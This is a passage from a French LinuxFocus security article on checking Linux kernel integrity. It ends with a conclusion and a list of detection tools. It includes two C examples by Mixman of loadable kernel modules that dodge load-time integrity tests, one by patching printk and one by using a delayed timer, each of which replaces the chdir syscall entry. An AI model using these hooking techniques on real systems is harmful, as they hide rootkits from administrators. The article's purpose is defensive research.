Cependant, même ainsi, il est possible de contourner le test d'intégrité (les exemples sont issus de la correspondance entre Tim Lawless, Mixman et moi-même ; les sources sont dues à Mixman) :

1. Modification d'une fonction autre qu'un appel-système : le principe est le même qu'avec un

appel-système. Dans `init_module()`, on modifie les premiers octets d'une fonction (`printk()` dans l'exemple) pour que cette fonction "saute" vers un `hacked_printk()`

```
/* Extrait de printk_exploit.c par Mixman */

static unsigned char hacked = 0;

/* hacked_printk() effectue les remplacements d'appel-système.
   Ensuite, on effectue le printk() normal pour que tout
   fonctionne correctement */
asmlinkage int hacked_printk(const char* fmt,...)
{
  va_list args;
  char buf[4096];
  int i;

  if(!fmt) return 0;
  if(!hacked) {
    sys_call_table[SYS_chdir] = hacked_chdir;
    hacked = 1;
  }
  memset(buf,0,sizeof(buf));
  va_start(args,fmt);
  i = vsprintf(buf,fmt,args);
  va_end(args);
  return i;
}
```

Ainsi, le test d'intégrité placé dans la redéfinition de `init_module()`, confirme qu'aucun appel-système n'a été modifié lors du chargement. Cependant, au prochain appel de la fonction `printk()`, le changement prend place...
Pour contrer ceci, le test d'intégrité doit être étendu à l'ensemble des fonctions du noyau.

2. Utilisation d'un timer : dans `init_module()`, la déclaration d'un timer active la modification bien après le chargement du module. Ainsi, comme les tests d'intégrité étaient prévus uniquement au (dé)chargement de modules, l'attaque passe inaperçue :(

```
/* timer_exploit.c par Mixman */

#define TIMER_TIMEOUT  200

extern void* sys_call_table[];
int (*org_chdir)(const char*);

static timer_t timer;
static unsigned char hacked = 0;

asmlinkage int hacked_chdir(const char* path)
{
  printk("Some sort of periodic checking could be a solution...\n");
  return org_chdir(path);
}

void timer_handler(unsigned long arg)
{
  if(!hacked) {
    hacked = 1;
    org_chdir = sys_call_table[SYS_chdir];
```

```
    sys_call_table[SYS_chdir] = hacked_chdir;
  }
}

int init_module(void)
{
  printk("Adding kernel timer...\n");
  memset(&timer,0,sizeof(timer));
  init_timer(&timer);
  timer.expires = jiffies + TIMER_TIMEOUT;
  timer.function = timer_handler;
  add_timer(&timer);
  printk("Syscall sys_chdir() should be modified in a few seconds\n");
  return 0;
}

void cleanup_module(void)
{
  del_timer(&timer);
  sys_call_table[SYS_chdir] = org_chdir;
}
```

La solution envisagée pour le moment est de lancer le test d'intégrité de temps en temps, et non plus uniquement au (dé)chargement d'un module.

Conclusion

Conserver l'intégrité d'un système n'est pas chose aisée. Bien que ces tests soient fiables en eux-mêmes, les moyens de les contourner sont nombreux. La seule solution est de ne faire confiance à rien lors de l'évaluation, et en particulier dès lors qu'une intrusion est suspectée. Le plus sûr est d'éteindre le système, puis de rebooter sur un autre, sain, pour évaluer les dommages.

Les outils et méthodes présentés dans cet article sont à double tranchant. Ils servent aussi bien les intérêts du pirate que celui de l'administrateur. En effet, comme nous l'avons vu avec le module `rootshell`, il permet aussi de contrôler qui lance quoi.

Lorsque des tests d'intégrité sont mis en place selon un politique pertinente, les root-kits classiques sont facilement détectables. L'apparition de ceux fondés sur les modules relève d'un nouveau défi. Des outils pour les contrer sont en cours de développement, tout comme ces modules d'ailleurs, qui n'ont pas encore atteint le maximum de leurs capacités. La sécurité autour du noyau préoccupe de plus en plus de personnes, à tel point que Linus a demandé à ce que les noyaux 2.5 intègrent un module chargé de la sécurité. Ce revirement vient de la multiplication de patches applicables (Openwall, Pax, LIDS, kernelli, pour n'en citer que quelques uns).

Quoiqu'il en soit, souvenez-vous qu'une machine potentiellement compromise ne peut vérifier sa propre intégrité. Il ne faut faire confiance à aucun de ses programmes, ni aucune des informations qu'elle fournit.

Liens

- www.packetstormsecurity.org : vous y trouverez `adore` et `knark`, les deux lkm root-kits les plus connus ;
- sourceforge.net/projects/stjude : les modules St_Jude et St_Mickael de détection d'intrusions ;
- www.s0ftpj.org/en/tools.html : `kstat` qui explore `/dev/kmem` ;
- www.chkrootkit.org : script pour détecter la présence de root-kits bien connus ;
- www.packetstormsecurity.org/docs/hack/LKM_HACKING.html : LE guide pour tripatouiller le noyau (un peu vieillot - il traite des noyaux 2.0 - mais tellement riche) ;
- www.big.net.au/~silvio l'excellente page de Silvio Cesare (incontournable)
- mail.wirex.com/mailman/listinfo/linux-security-module : la liste de diffusion linux-security-module.
- www.tripwire.com : tripwire est l'outil classique de détection d'intrusion. Depuis peu, la société titre *Tripwire Open Source, Linux Edition* ;
- www.cs.tut.fi/~rammer/aide.html `aide` (Advanced Intrusion Detection Environment) est un petit mais efficace remplacement pour `tripwire`, complètement libre.

Site Web maintenu par l´équipe d´édition LinuxFocus	Translation information:
© Frédéric Raynal aka Pappy	fr --> -- : Frédéric Raynal aka Pappy (homepage)
"some rights reserved" see linuxfocus.org/license/	
http://www.LinuxFocus.org	

2005-01-14, generated by lfparser_pdf version 2.51